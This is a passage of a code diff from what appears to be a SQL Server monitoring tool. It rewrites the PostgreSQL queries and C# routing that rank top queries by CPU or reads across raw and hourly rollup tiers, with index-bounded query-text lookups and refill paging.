-            AND   host_object_name IS NOT DISTINCT FROM r.host_object_name
-            AND   (r.host_object_name IS NOT NULL OR query_hash = r.query_hash)
-            AND   query_text IS NOT NULL
-            ORDER BY collection_time DESC
-            LIMIT 1
-        ) AS t ON TRUE
+        LEFT JOIN latest_text AS t
+            ON  t.database_name IS NOT DISTINCT FROM r.database_name
+            AND t.host_object_name IS NOT DISTINCT FROM r.host_object_name
+            AND t.group_hash IS NOT DISTINCT FROM CASE WHEN r.host_object_name IS NULL THEN r.query_hash END
         WHERE t.query_text IS NULL OR t.query_text NOT LIKE 'WAITFOR%'
-        ORDER BY r.total_cpu_us DESC
+        ORDER BY r.rank_metric DESC NULLS LAST, r.rank_cpu DESC NULLS LAST, r.database_name, r.host_object_name, r.query_hash
         LIMIT $4
+        )
+        /* The candidate count rides on its own row, joined to the page, so a round whose candidates were
+           ALL trimmed still reports it (an empty page used to read as exhausted). page_ord is NULL on that
+           row, which is how the caller tells it from a page row. */
+        SELECT p.*, c.candidate_count
+        FROM (SELECT COUNT(*) AS candidate_count FROM winners) AS c
+        LEFT JOIN page AS p ON TRUE
+        ORDER BY p.page_ord
         """;
 
     /// <summary>The FROM-clause placeholder <see cref="TopQueriesHourlySql"/> carries — replaced with
     /// <see cref="RollupCoverage.StitchedRelationSql"/>'s answer at call time. Never hardcode
     /// <c>query_stats_interval_hourly</c> or <c>query_stats_hourly</c> in its place; see
     /// <see cref="GetTopQueriesByCpuHourlyAsync"/>.</summary>
-    public const string TopQueriesHourlyFromPlaceholder = "$FROM$";
+    public const string TopQueriesHourlyFromPlaceholder = RollupCoverage.HourlyFromPlaceholder;
+
+    /// <summary>#5329: the placeholder <see cref="TopQueriesHourlySql"/> carries for the three reads/writes sums —
+    /// <see cref="TopRankings.HourlyIoSums"/> on <c>query_stats_io_hourly</c>, <see cref="TopRankings.HourlyNoIoSums"/>
+    /// (typed NULLs) on the stitched shape, which has no such columns.</summary>
+    public const string TopQueriesHourlyIoSumsPlaceholder = "$IOSUMS$";
 
     /// <summary>
     /// #4231 stage 3: the hourly-tier twin of <see cref="TopQueriesSql"/>, over <c>query_stats_hourly</c> /
@@ -1259,39 +1560,156 @@ ORDER BY r.total_cpu_us DESC
     /// split by host object COLLAPSES across host objects at this tier (a real precision loss, disclosed by
     /// the MCP tool's <c>precision_note</c>, not hidden). Ranks by <c>SUM(worker_time_sum) DESC</c> — the same
     /// CPU promise <see cref="TopQueriesSql"/> makes, over the rollup's pre-summed bucket columns rather than
-    /// per-collection deltas. <c>query_text</c> is resolved in the same statement by a LATERAL over
-    /// <c>v_query_stats</c> (the same shape as <see cref="TopQueriesSql"/> minus the host-object predicate the
-    /// rollup has nothing to match), and WAITFOR shells are dropped after an over-fetch of 5, as raw does; a
-    /// hash raw no longer holds yields a null text. <c>host_object_name</c>/<c>distinct_texts</c> are NOT projected.
+    /// per-collection deltas. <c>query_text</c> is resolved in the same statement by ONE lookup over the raw
+    /// rows (#5309; the same shape as <see cref="TopQueriesSql"/> minus the host-object predicate the rollup has
+    /// nothing to match): the window's newest text first, then, for a key the window holds none for, the newest
+    /// text raw holds at all. WAITFOR shells are dropped after the same candidate over-fetch and refill (#5313)
+    /// as raw; a hash raw no longer holds yields a null text. <c>host_object_name</c>/<c>distinct_texts</c> are NOT projected.
     /// The rollup's min/max columns are per-collection sums, not per-execution extremes, so none are selected. <c>$FROM$</c> is a
     /// PLACEHOLDER, substituted (string.Replace, not string.Format — the SQL text otherwise contains braces)
     /// with the FROM-clause item <see cref="RollupCoverage.StitchedRelationSql"/> returns for this window at
     /// call time — never a literal relation name. $1 server_id, $2/$3 window (naive UTC; $3 is EXCLUSIVE — a
     /// bucket is stamped at its START, so the bucket that begins at $3 lies after the window and is not read),
     /// $4 top, $5 database
-    /// filter (NULL = all), $6 the materialization ceiling (naive UTC), bound only when the ceiling is known.
-    /// <c>$CEIL$</c> becomes <c>AND f.bucket &lt; $6</c> or nothing. <c>min_dop</c> and host-object grouping need columns only raw carries, so
-    /// a read that sets either never reaches this const (it is forced to raw) and it takes no $6.
+    /// filter (NULL = all), $6 the candidate limit (#5313: top + 5 first, larger on a refill round), $7 the materialization
+    /// ceiling (naive UTC), bound only when the ceiling is known.
+    /// <c>$CEIL$</c> becomes <c>AND f.bucket &lt; $7</c> or nothing. <c>$IOSUMS$</c> (#5329) is the three reads/writes
+    /// sums on <c>query_stats_io_hourly</c> and typed NULLs on the stitched relation. <c>min_dop</c> and host-object grouping need columns only raw carries, so
+    /// a read that sets either never reaches this const (it is forced to raw) and it takes no $6 or $7.
     /// </summary>
     public const string TopQueriesHourlySql = """
-        WITH ranked AS (
+        WITH ranked AS MATERIALIZED (
             SELECT
                 database_name,
                 query_hash,
                 CAST(SUM(execution_count_sum) AS bigint) AS total_executions,
                 CAST(SUM(worker_time_sum) AS bigint) AS total_cpu_us,
                 CAST(SUM(elapsed_time_sum) AS bigint) AS total_elapsed_us,
-                MAX(sql_handle) AS sql_handle
+                MAX(sql_handle) AS sql_handle,
+                $IOSUMS$,
+                $RANK$ AS rank_metric,
+                SUM(worker_time_sum) AS rank_cpu
             FROM $FROM$
             WHERE server_id = $1
             AND   bucket >= $2
             AND   bucket < $3$CEIL$
-            AND   ($5::text IS NULL OR database_name = $5)
+            AND   ($5::text[] IS NULL OR database_name = ANY($5))
             GROUP BY database_name, query_hash
             HAVING (SUM(execution_count_sum) > 0 OR SUM(elapsed_time_sum) > 0)
-            ORDER BY SUM(worker_time_sum) DESC
-            LIMIT $4 + 5
-        )
+            ORDER BY rank_metric DESC NULLS LAST, rank_cpu DESC NULLS LAST, database_name, query_hash
+            /* #5313: $6 is the candidate limit (top plus five on the first round, larger when the WAITFOR trim left
+               the page short) - see TopQueriesSql. The final LIMIT stays $4. */
+            LIMIT $6
+        ),
+        latest_in_window AS (
+            /* #5309: the representative text of EVERY ranked hash, one index probe per ranked key. This used
+               to read every raw row of the window and hash join it to the ranked keys (1,439,400 rows at 168 h
+               to find 25 texts, 3.7 of 4.4 seconds), which puts the raw scan back into the tier whose point is
+               not to touch raw. Now each ranked key takes its newest row in the window from
+               idx_query_stats_server_hash_time (server_id, query_hash, collection_time DESC), stopping at the
+               first row that has a text, so the rows read are bounded by the ranked keys, not by the window. The
+               hash match is the indexable equality; the NULL-hash key (IS NOT DISTINCT FROM, as before) has its
+               own arm, so a NULL-keyed group still gets its text. The text is resolved from query_text_dim for
+               that one row afterwards (see TopQueriesSql). Raw collection_time is stamped per collection, the
+               rollup's bucket at its start, so the window is [$2, $3) as the rollup reads it. */
+            SELECT
+                rk.database_name,
+                rk.query_hash,
+                COALESCE(l.query_text, d.query_text) AS query_text
+            FROM ranked AS rk
+            CROSS JOIN LATERAL
+            (
+                (
+                    SELECT q.query_text, q.query_text_digest, q.collection_time, q.collection_id
+                    FROM query_stats AS q
+                    WHERE rk.query_hash IS NOT NULL
+                    AND   q.server_id = $1
+                    AND   q.query_hash = rk.query_hash
+                    AND   q.database_name IS NOT DISTINCT FROM rk.database_name
+                    AND   q.collection_time >= $2
+                    AND   q.collection_time < $3
+                    AND   (q.query_text IS NOT NULL OR EXISTS (SELECT 1 FROM query_text_dim AS d0 WHERE d0.digest = q.query_text_digest))
+                    ORDER BY q.collection_time DESC, q.collection_id DESC
+                    LIMIT 1
+                )
+                UNION ALL
+                (
+                    SELECT q.query_text, q.query_text_digest, q.collection_time, q.collection_id
+                    FROM query_stats AS q
+                    WHERE rk.query_hash IS NULL
+                    AND   q.server_id = $1
+                    AND   q.query_hash IS NULL
+                    AND   q.database_name IS NOT DISTINCT FROM rk.database_name
+                    AND   q.collection_time >= $2
+                    AND   q.collection_time < $3
+                    AND   (q.query_text IS NOT NULL OR EXISTS (SELECT 1 FROM query_text_dim AS d0 WHERE d0.digest = q.query_text_digest))
+                    ORDER BY q.collection_time DESC, q.collection_id DESC
+                    LIMIT 1
+                )
+                ORDER BY collection_time DESC, collection_id DESC
+                LIMIT 1
+            ) AS l
+            LEFT JOIN query_text_dim AS d ON d.digest = l.query_text_digest
+        ),
+        missing AS MATERIALIZED (
+            /* The rollup outlives raw, so a window past raw retention holds no raw row of its own. The old
+               lookup was not bounded by the window and still found a text from raw's newer rows; this keeps
+               that, for the ranked keys the window pass found nothing for. When none are missing the next CTE
+               joins an empty set and reads nothing. */
+            SELECT rk.database_name, rk.query_hash
+            FROM ranked AS rk
+            WHERE NOT EXISTS
+            (
+                SELECT 1
+                FROM latest_in_window AS lw
+                WHERE lw.database_name IS NOT DISTINCT FROM rk.database_name
+                AND   lw.query_hash IS NOT DISTINCT FROM rk.query_hash
+            )
+        ),
+        latest_any AS MATERIALIZED (
+            /* #5299 round 2 (N1): the same per-key probe as latest_in_window, with no window bound - the newest row
+               of the key that has a text, wherever it lies. This used to be one scan of every raw row of the
+               server, joined to the missing keys, which no index can serve (1,440,000 rows at 168 h to find a few
+               texts, once per round, and the refill rounds of #5313 make a missing key near-certain on a window past
+               raw retention). Now each missing key is one probe of idx_query_stats_server_hash_time, so the rows read
+               are bounded by the missing keys, not by the table. MATERIALIZED for the reason latest_text is: the
+               NULL-safe join to the ranked rows cannot hash, and an inlined lookup re-runs once per ranked row. */
+            SELECT
+                m.database_name,
+                m.query_hash,
+                COALESCE(l.query_text, d.query_text) AS query_text
+            FROM missing AS m
+            CROSS JOIN LATERAL
+            (
+                (
+                    SELECT q.query_text, q.query_text_digest, q.collection_time, q.collection_id
+                    FROM query_stats AS q
+                    WHERE m.query_hash IS NOT NULL
+                    AND   q.server_id = $1
+                    AND   q.query_hash = m.query_hash
+                    AND   q.database_name IS NOT DISTINCT FROM m.database_name
+                    AND   (q.query_text IS NOT NULL OR EXISTS (SELECT 1 FROM query_text_dim AS d0 WHERE d0.digest = q.query_text_digest))
+                    ORDER BY q.collection_time DESC, q.collection_id DESC
+                    LIMIT 1
+                )
+                UNION ALL
+                (
+                    SELECT q.query_text, q.query_text_digest, q.collection_time, q.collection_id
+                    FROM query_stats AS q
+                    WHERE m.query_hash IS NULL
+                    AND   q.server_id = $1
+                    AND   q.query_hash IS NULL
+                    AND   q.database_name IS NOT DISTINCT FROM m.database_name
+                    AND   (q.query_text IS NOT NULL OR EXISTS (SELECT 1 FROM query_text_dim AS d0 WHERE d0.digest = q.query_text_digest))
+                    ORDER BY q.collection_time DESC, q.collection_id DESC
+                    LIMIT 1
+                )
+                ORDER BY collection_time DESC, collection_id DESC
+                LIMIT 1
+            ) AS l
+            LEFT JOIN query_text_dim AS d ON d.digest = l.query_text_digest
+        ),
+        page AS (
         SELECT
             r.database_name,
             r.query_hash,
@@ -1299,57 +1717,45 @@ ORDER BY SUM(worker_time_sum) DESC
             r.total_cpu_us,
             r.total_elapsed_us,
             r.sql_handle,
-            t.query_text
+            COALESCE(w.query_text, a.query_text) AS query_text,
+            /* #5329: the three sums only query_stats_io_hourly keeps (typed NULLs on the stitched shape, so the
+               page has one layout). */
+            r.total_logical_reads,
+            r.total_physical_reads,
+            r.total_logical_writes,
+            /* #5313: candidates pass 1 produced (last column) - see TopQueriesSql. */
+            ROW_NUMBER() OVER (ORDER BY r.rank_metric DESC NULLS LAST, r.rank_cpu DESC NULLS LAST, r.database_name, r.query_hash) AS page_ord
         FROM ranked AS r
-        LEFT JOIN LATERAL (
-            SELECT query_text
-            FROM v_query_stats
-            WHERE server_id = $1
-            AND   query_hash = r.query_hash
-            AND   database_name = r.database_name
-            AND   query_text IS NOT NULL
-            ORDER BY collection_time DESC
-            LIMIT 1
-        ) AS t ON TRUE
-        WHERE t.query_text IS NULL OR t.query_text NOT LIKE 'WAITFOR%'
-        ORDER BY r.total_cpu_us DESC
+        LEFT JOIN latest_in_window AS w
+            ON  w.database_name IS NOT DISTINCT FROM r.database_name
+            AND w.query_hash IS NOT DISTINCT FROM r.query_hash
+        LEFT JOIN latest_any AS a
+            ON  a.database_name IS NOT DISTINCT FROM r.database_name
+            AND a.query_hash IS NOT DISTINCT FROM r.query_hash
+        WHERE COALESCE(w.query_text, a.query_text) IS NULL OR COALESCE(w.query_text, a.query_text) NOT LIKE 'WAITFOR%'
+        ORDER BY r.rank_metric DESC NULLS LAST, r.rank_cpu DESC NULLS LAST, r.database_name, r.query_hash
         LIMIT $4
+        )
+        /* The candidate count rides on its own row, joined to the page, so a round whose candidates were
+           ALL trimmed still reports it (an empty page used to read as exhausted). page_ord is NULL on that
+           row, which is how the caller tells it from a page row. */
+        SELECT p.*, c.candidate_count
+        FROM (SELECT COUNT(*) AS candidate_count FROM ranked) AS c
+        LEFT JOIN page AS p ON TRUE
+        ORDER BY p.page_ord
         """;
 
-    /// <summary>
-    /// The hourly tier's per-server coverage probe when the read is stitched: the first bucket the ranked read's
-    /// window actually holds for this server. A stitched <c>UNION ALL</c> cannot give an ordered first row (the
-    /// planner cannot merge-append it in order, so <c>ORDER BY … LIMIT 1</c> over it sorts every row the server
-    /// has), so the probe splits at the stitch floor F, the same F <see cref="RollupCoverage.StitchedRelationSql"/>
-    /// uses (<see cref="RollupCoverage.StitchFloor"/> is documented to agree with it exactly). The legacy relation
-    /// only holds rows below F, so the first bucket of the stitch is <c>least()</c> of the legacy relation's first
-    /// bucket below F and the successor's first bucket from F; <c>least()</c> ignores a null half. Each half is an
-    /// ordered <c>LIMIT 1</c> over one relation. $1 server_id, $2/$3 window (naive UTC), $4 F (naive UTC).
-    /// Null when the server has no bucket in the window. <c>$LEGACY$</c> and <c>$SUCCESSOR$</c> are relation names.
-    /// </summary>
-    public const string HourlyFirstBucketSql =
-        "SELECT least(" +
-        "(SELECT f.bucket FROM collect.$LEGACY$ AS f WHERE f.server_id = $1 AND f.bucket >= $2 AND f.bucket < $4 AND f.bucket <= $3$CEIL$ ORDER BY f.bucket LIMIT 1), " +
-        "(SELECT f.bucket FROM collect.$SUCCESSOR$ AS f WHERE f.server_id = $1 AND f.bucket >= $4 AND f.bucket >= $2 AND f.bucket <= $3$CEIL$ ORDER BY f.bucket LIMIT 1))";
-
-    /// <summary>
-    /// The coverage probe when <see cref="RollupCoverage.StitchFloor"/> answers null: the window is served by ONE
-    /// relation, and <c>$FROM$</c> is replaced with the exact single-relation splice
-    /// <see cref="RollupCoverage.StitchedRelationSql"/> returns. <c>ORDER BY … LIMIT 1</c> stops at the first
-    /// bucket. Never used over a stitch (a <c>UNION ALL</c> cannot be read in order; see
-    /// <see cref="HourlyFirstBucketSql"/>). $1 server_id, $2/$3 window (naive UTC).
-    /// </summary>
-    public const string HourlyFirstBucketSingleRelationSql =
-        "SELECT f.bucket FROM $FROM$ WHERE f.server_id = $1 AND f.bucket >= $2 AND f.bucket <= $3$CEIL$ ORDER BY f.bucket LIMIT 1";
+    /* #5329: HourlyFirstBucketSql, HourlyFirstBucketSingleRelationSql and the probe itself live in Storage
+       (RollupCoverage.GetHourlyFirstBucketAsync), so the Viewer's grids run the same per-server probe. */
 
     /// <summary>The placeholder the hourly reads carry where the materialization-ceiling bound goes. It is replaced
     /// with <see cref="CeilingClause"/> when the ceiling is known and with the empty string when it is not.</summary>
-    private const string CeilingPlaceholder = "$CEIL$";
+    private const string CeilingPlaceholder = RollupCoverage.HourlyCeilingPlaceholder;
 
     /// <summary>The ceiling bound: a bucket at or after the relation's materialization ceiling is never read, so
     /// "nothing after the ceiling was read" holds by construction. <paramref name="ordinal"/> is the bound
     /// parameter's position; the value is bound, never computed in SQL.</summary>
-    private static string CeilingClause(int ordinal) => " AND f.bucket < $" + ordinal.ToString(System.Globalization.CultureInfo.InvariantCulture);
+    private static string CeilingClause(int ordinal) => RollupCoverage.HourlyCeilingClause(ordinal);
 
     /// <summary>Awaits a probe task whose result is no longer wanted so its fault is observed, never thrown over
     /// the exception already in flight.</summary>
@@ -1364,60 +1770,7 @@ private static async Task ObserveAsync(Task task)
     /// the one relation the splice names. Null when that relation has no measured ceiling (nothing materialized,
     /// or an unknown coverage).</summary>
     private static DateTime? HourlyEndCeiling(RollupCoverage coverage, string legacy, DateTime startUtc)
-    {
-        var relation = coverage.StitchFloor(legacy, RollupCoverage.StitchTier.Hourly, startUtc) is not null
-            ? TimescaleSupport.SuccessorOf(legacy)!
-            : coverage.HourlyRelationNameFor(legacy, startUtc);
-        return coverage.CeilingOf(relation);
-    }
-
-    /// <summary>Runs the coverage probe for <paramref name="legacy"/>'s hourly tier: two ordered first-row probes
-    /// split at the stitch floor when the read is stitched (<see cref="HourlyFirstBucketSql"/>), one probe when a
-    /// single relation serves the window (<see cref="HourlyFirstBucketSingleRelationSql"/>). The single seam a
-    /// cache can wrap.</summary>
-    private static async Task<DateTime?> GetHourlyFirstBucketAsync(
-        NpgsqlDataSource postgres, RollupCoverage coverage, string legacy, int serverId, DateTime startUtc, DateTime endUtc,
-        DateTime? ceiling, CancellationToken cancellationToken)
-    {
-        var floor = coverage.StitchFloor(legacy, RollupCoverage.StitchTier.Hourly, startUtc);
-        string sql;
-        if (floor is null)
-        {
-            var splice = coverage.StitchedRelationSql(legacy, "f", startUtc, RollupCoverage.StitchTier.Hourly);
-            if (splice.Contains("UNION", StringComparison.OrdinalIgnoreCase))
-            {
-                throw new InvalidOperationException(
-                    "The hourly coverage probe found a stitched relation where StitchFloor answered a single one.");
-            }
-
-            sql = HourlyFirstBucketSingleRelationSql
-                .Replace(TopQueriesHourlyFromPlaceholder, splice, StringComparison.Ordinal)
-                .Replace(CeilingPlaceholder, ceiling is null ? "" : CeilingClause(4), StringComparison.Ordinal);
-        }
-        else
-        {
-            sql = HourlyFirstBucketSql
-                .Replace(CeilingPlaceholder, ceiling is null ? "" : CeilingClause(5), StringComparison.Ordinal)
-                .Replace("$LEGACY$", legacy, StringComparison.Ordinal)
-                .Replace("$SUCCESSOR$", TimescaleSupport.SuccessorOf(legacy)!, StringComparison.Ordinal);
-        }
-
-        await using var command = postgres.CreateCommand(sql);
-        command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
-        AddWindow(command, serverId, startUtc, endUtc);
-        if (floor is not null)
-        {
-            AddTimestamp(command, floor.Value);
-        }
-
-        if (ceiling is not null)
-        {
-            AddTimestamp(command, ceiling.Value);
-        }
-
-        var value = await command.ExecuteScalarAsync(cancellationToken);
-        return value is DateTime bucket ? bucket : null;
-    }
+        => coverage.HourlyEndCeiling(legacy, startUtc);
 
     /// <summary>
     /// The top-N groups by CPU, ranked over the population that passes every filter. <paramref name="minMaxDop"/>
@@ -1434,12 +1787,20 @@ private static async Task ObserveAsync(Task task)
     /// are Raw-tier-only refinements the rollup cannot answer (no per-group DOP, no host_object_name); a read
     /// that sets either is forced to raw and reports <see cref="TopQueriesReadResult.RawForced"/>.</para>
     /// </summary>
-    public static async Task<List<TopQueryRow>> GetTopQueriesByCpuAsync(
+    public static Task<List<TopQueryRow>> GetTopQueriesByCpuAsync(
         NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc, int top, string? databaseName,
-        bool rollUpByHostObject = false, int minMaxDop = 0, CancellationToken cancellationToken = default)
+        bool rollUpByHostObject = false, int minMaxDop = 0, TopRanking ranking = TopRanking.Cpu, CancellationToken cancellationToken = default) =>
+        GetTopQueriesByCpuAsync(
+            postgres, serverId, startUtc, endUtc, top, DatabaseFilter.One(databaseName), rollUpByHostObject, minMaxDop, ranking, cancellationToken);
+
+    /// <summary>#5245: <see cref="GetTopQueriesByCpuAsync(NpgsqlDataSource,int,DateTime,DateTime,int,string,bool,int,TopRanking,CancellationToken)"/>
+    /// over a SET of databases (<see cref="DatabaseFilter.All"/> is every database).</summary>
+    public static async Task<List<TopQueryRow>> GetTopQueriesByCpuAsync(
+        NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc, int top, DatabaseFilter databases,
+        bool rollUpByHostObject = false, int minMaxDop = 0, TopRanking ranking = TopRanking.Cpu, CancellationToken cancellationToken = default)
     {
         var result = await GetTopQueriesByCpuRoutedAsync(
-            postgres, serverId, startUtc, endUtc, top, databaseName, rollUpByHostObject, minMaxDop, cancellationToken);
+            postgres, serverId, startUtc, endUtc, top, databases, rollUpByHostObject, minMaxDop, ranking, cancellationToken);
         return result.Rows;
     }
 
@@ -1450,7 +1811,15 @@ public static async Task<List<TopQueryRow>> GetTopQueriesByCpuAsync(
     /// <paramref name="HourlyFirstBucket"/> is the first rollup bucket this server holds inside the window on
     /// the hourly tier (null when none, or on raw).</summary>
     public sealed record TopQueriesReadResult(
-        List<TopQueryRow> Rows, RetentionTier Tier, bool RawForced = false, DateTime? HourlyFirstBucket = null, DateTime? HourlyCeiling = null);
+        List<TopQueryRow> Rows, RetentionTier Tier, bool RawForced = false, DateTime? HourlyFirstBucket = null, DateTime? HourlyCeiling = null,
+        string? RetentionNotice = null,
+        /* #5329: the hourly rows came from query_stats_io_hourly, so they carry logical reads, physical reads and
+           logical writes (the stitched rollups carry none of them). */
+        bool IoRoute = false,
+        /* #5329: true only when the reads ranking itself sent the read to raw, because the io rollup was absent, empty or
+           reached no further back than raw. A raw read forced by parallel_only / min_dop / host_object grouping leaves it
+           false: those filters are the reason, and the io rollup was never consulted. */
+        bool ReadsForcedRaw = false);
 
     /// <summary>
     /// #4231 stage 3: <see cref="GetTopQueriesByCpuAsync"/>'s routed form, exposing the tier it read so a
@@ -1461,9 +1830,22 @@ public sealed record TopQueriesReadResult(
     /// only refinements the rollup cannot answer (no per-group DOP, no host_object_name) — a read that sets either
     /// stays on raw.
     /// </summary>
-    public static async Task<TopQueriesReadResult> GetTopQueriesByCpuRoutedAsync(
+    public static Task<TopQueriesReadResult> GetTopQueriesByCpuRoutedAsync(
         NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc, int top, string? databaseName,
-        bool rollUpByHostObject = false, int minMaxDop = 0, CancellationToken cancellationToken = default)
+        bool rollUpByHostObject = false, int minMaxDop = 0, TopRanking ranking = TopRanking.Cpu, CancellationToken cancellationToken = default) =>
+        GetTopQueriesByCpuRoutedAsync(
+            postgres, serverId, startUtc, endUtc, top, DatabaseFilter.One(databaseName), rollUpByHostObject, minMaxDop, ranking, cancellationToken);
+
+    /// <summary>
+    /// #5245: <see cref="GetTopQueriesByCpuRoutedAsync(NpgsqlDataSource,int,DateTime,DateTime,int,string,bool,int,TopRanking,CancellationToken)"/>
+    /// over a SET of databases. The list predicate (<c>$5::text[] IS NULL OR database_name = ANY($5)</c>, the shape of
+    /// <see cref="DatabaseFilter.Clause"/>) is in every statement of every tier: the ranking pass, the candidate lookups
+    /// and the <see cref="TopFill"/> refill rounds (each round re-runs the whole statement with a larger candidate
+    /// limit), so a refill can never pull a row from a database the caller did not choose.
+    /// </summary>
+    public static async Task<TopQueriesReadResult> GetTopQueriesByCpuRoutedAsync(
+        NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc, int top, DatabaseFilter databases,
+        bool rollUpByHostObject = false, int minMaxDop = 0, TopRanking ranking = TopRanking.Cpu, CancellationToken cancellationToken = default)
     {
         var (rollups, coverage) = await ComposeStoreAvailability.GetRollupsAsync(postgres, cancellationToken);
         var tier = RetentionTierRouter.Resolve(
@@ -1481,26 +1863,76 @@ public static async Task<TopQueriesReadResult> GetTopQueriesByCpuRoutedAsync(
             rawForced = true;
         }
 
+        /* #5329: the stitched rollups keep no per-query logical reads (#5226), but collect.query_stats_io_hourly keeps
+           them beside every column the interval sibling has. When its floor reaches the window's start, EVERY ranking
+           reads it (one route; the shared columns equal the interval sibling's, and the rows carry reads, physical
+           reads and writes). Otherwise a reads ranking is a raw-only ask like the parallelism filter: raw when raw
+           reaches the start, else whichever of raw and a partial io reaches further back, each with its own notice.
+           Any other ranking keeps today's stitched route untouched. A store without io, or with it empty, answers
+           a null floor, which never covers. */
+        var ioRoute = false;
+        var readsForcedRaw = false;
+        if (tier == RetentionTier.Hourly)
+        {
+            switch (ChooseQueriesHourlyRoute(rollups, coverage, ranking, startUtc))
+            {
+                case HourlyRoute.Io:
+                    ioRoute = true;
+                    break;
+                case HourlyRoute.Raw:
+                    tier = RetentionTier.Raw;
+                    rawForced = true;
+                    readsForcedRaw = true;
+                    break;
+            }
+        }
+
+        /* #5226: a reads ranking that reads raw is partial on a window past what raw keeps, and the answer
+           says so with the raw route's retention notice, the one the composed panels carry (BuildRetentionNotice,
+           judged by the store's measured raw floor). Null when raw reaches the window's start, on a store with no
+           rollups, for every other ranking, and (#5329) when the rows come from the io rollup, whose own partial
+           window is disclosed by the hourly effective_start and HourlyWindowEdges.Note instead. */
+        var retentionNotice = ranking != TopRanking.Reads || ioRoute
+            ? null
+            : ComposeStoreAvailability.BuildRetentionNotice("query_stats", ComposeRoute.Raw, startUtc, DateTime.UtcNow, rollups, coverage);
+
         Debug.Assert(!(tier == RetentionTier.Hourly && (minMaxDop > 0 || rollUpByHostObject)));
         if (tier == RetentionTier.Hourly)
         {
-            var ceiling = HourlyEndCeiling(coverage, TimescaleSupport.QueryStatsHourlyView, startUtc);
-            var (hourlyRows, firstBucket) = await GetTopQueriesByCpuHourlyAsync(postgres, coverage, serverId, startUtc, endUtc, top, databaseName, ceiling, cancellationToken);
-            return new TopQueriesReadResult(hourlyRows, RetentionTier.Hourly, HourlyFirstBucket: firstBucket, HourlyCeiling: ceiling);
+            var ceiling = HourlyEndCeiling(coverage, ioRoute ? TimescaleSupport.QueryStatsIoHourlyView : TimescaleSupport.QueryStatsHourlyView, startUtc);
+            var (hourlyRows, firstBucket) = await GetTopQueriesByCpuHourlyAsync(postgres, coverage, serverId, startUtc, endUtc, top, databases, ceiling, ranking, ioRoute, cancellationToken);
+            return new TopQueriesReadResult(hourlyRows, RetentionTier.Hourly, HourlyFirstBucket: firstBucket, HourlyCeiling: ceiling, IoRoute: ioRoute);
         }
 
-        var rows = new List<TopQueryRow>();
+        /* The two detail timestamps are stored on the monitored server's own clock; they are converted to naive
+           UTC per row through the server's clock, as every other server-local column on the MCP surface is. */
+        var clock = await DarlingServerClockReader.ReadAsync(postgres, serverId, cancellationToken);
         /* #2235: same parameters, same columns, different GROUP BY — see TopQueriesByHostObjectSql. */
-        await using var command = postgres.CreateCommand(rollUpByHostObject ? TopQueriesByHostObjectSql : TopQueriesSql);
+        var rawSql = TopRankings.Apply(rollUpByHostObject ? TopQueriesByHostObjectSql : TopQueriesSql, ranking, hourly: false);
+        /* #5313: the WAITFOR trim can leave the page short; TopFill asks again with a larger candidate limit ($7)
+           while more candidates exist, under its bound. */
+        var rows = await TopFill.RunAsync(top, async candidates =>
+        {
+        var page = new List<TopQueryRow>();
+        var candidateCount = 0;
+        await using var command = postgres.CreateCommand(rawSql);
         command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
         AddWindow(command, serverId, startUtc, endUtc);
         AddInt(command, top);
-        AddNullableText(command, databaseName);
+        AddDatabases(command, databases);
         AddInt(command, minMaxDop);
+        AddInt(command, candidates);
         await using var reader = await command.ExecuteReaderAsync(cancellationToken);
         while (await reader.ReadAsync(cancellationToken))
         {
-            rows.Add(new TopQueryRow(
+            /* #5313: the count rides on a row of its own too; page_ord (44) is NULL on that one, so it is not a page row. */
+            candidateCount = reader.IsDBNull(45) ? 0 : Convert.ToInt32(reader.GetValue(45), CultureInfo.InvariantCulture);
+            if (reader.IsDBNull(44))
+            {
+                continue;
+            }
+
+            page.Add(new TopQueryRow(
                 reader.IsDBNull(0) ? "" : reader.GetString(0),
                 reader.IsDBNull(1) ? "" : reader.GetString(1),
                 reader.IsDBNull(2) ? null : reader.GetString(2),   /* host_object_name (#2012 stage 2) */
@@ -1523,10 +1955,62 @@ public static async Task<TopQueriesReadResult> GetTopQueriesByCpuRoutedAsync(
                 reader.IsDBNull(19) ? 0 : reader.GetInt64(19),
                 reader.IsDBNull(20) ? "" : reader.GetString(20),
                 reader.IsDBNull(21) ? 0 : reader.GetInt64(21),
-                reader.FieldCount > 22 && !reader.IsDBNull(22) ? reader.GetInt64(22) : 1));
+                reader.IsDBNull(22) ? 1 : reader.GetInt64(22),
+                ReadTopQueryDetail(reader, 23, clock)));
         }
 
-        return new TopQueriesReadResult(rows, RetentionTier.Raw, rawForced);
+        return (page, candidateCount);
+        });
+
+        return new TopQueriesReadResult(rows, RetentionTier.Raw, rawForced, RetentionNotice: retentionNotice, ReadsForcedRaw: readsForcedRaw);
+    }
+
+    /// <summary>
+    /// #5329: <see cref="TopRankings.ChooseHourlyRoute"/> over what the store measured. The io floor counts only when
+    /// <paramref name="rollups"/> says the relation exists (an absent relation has no floor, and is never named in
+    /// SQL); an empty one answers a null floor, which never covers.
+    /// </summary>
+    public static HourlyRoute ChooseQueriesHourlyRoute(RollupAvailability rollups, RollupCoverage coverage, TopRanking ranking, DateTime startUtc)
+    {
+        var ioFloor = rollups.Has(TimescaleSupport.QueryStatsIoHourlyView)
+            ? coverage.FloorOf(TimescaleSupport.QueryStatsIoHourlyView)
+            : null;
+        var rawOldest = RollupCoverage.RawTableFor(TimescaleSupport.QueryStatsHourlyView) is string rawTable
+            ? coverage.RawOldestOf(rawTable)
+            : null;
+        return TopRankings.ChooseHourlyRoute(ranking, startUtc, ioFloor, rawOldest);
+    }
+
+    /// <summary>
+    /// #5329: <see cref="ChooseQueriesHourlyRoute"/>'s procedure_stats twin. The same route table
+    /// (<see cref="TopRankings.ChooseHourlyRoute"/>) over <c>procedure_stats_io_hourly</c>'s floor and
+    /// <c>procedure_stats</c>'s oldest row.
+    /// </summary>
+    public static HourlyRoute ChooseProceduresHourlyRoute(RollupAvailability rollups, RollupCoverage coverage, TopRanking ranking, DateTime startUtc)
+    {
+        var ioFloor = rollups.Has(TimescaleSupport.ProcedureStatsIoHourlyView)
+            ? coverage.FloorOf(TimescaleSupport.ProcedureStatsIoHourlyView)
+            : null;
+        var rawOldest = RollupCoverage.RawTableFor(TimescaleSupport.ProcedureStatsHourlyView) is string rawTable
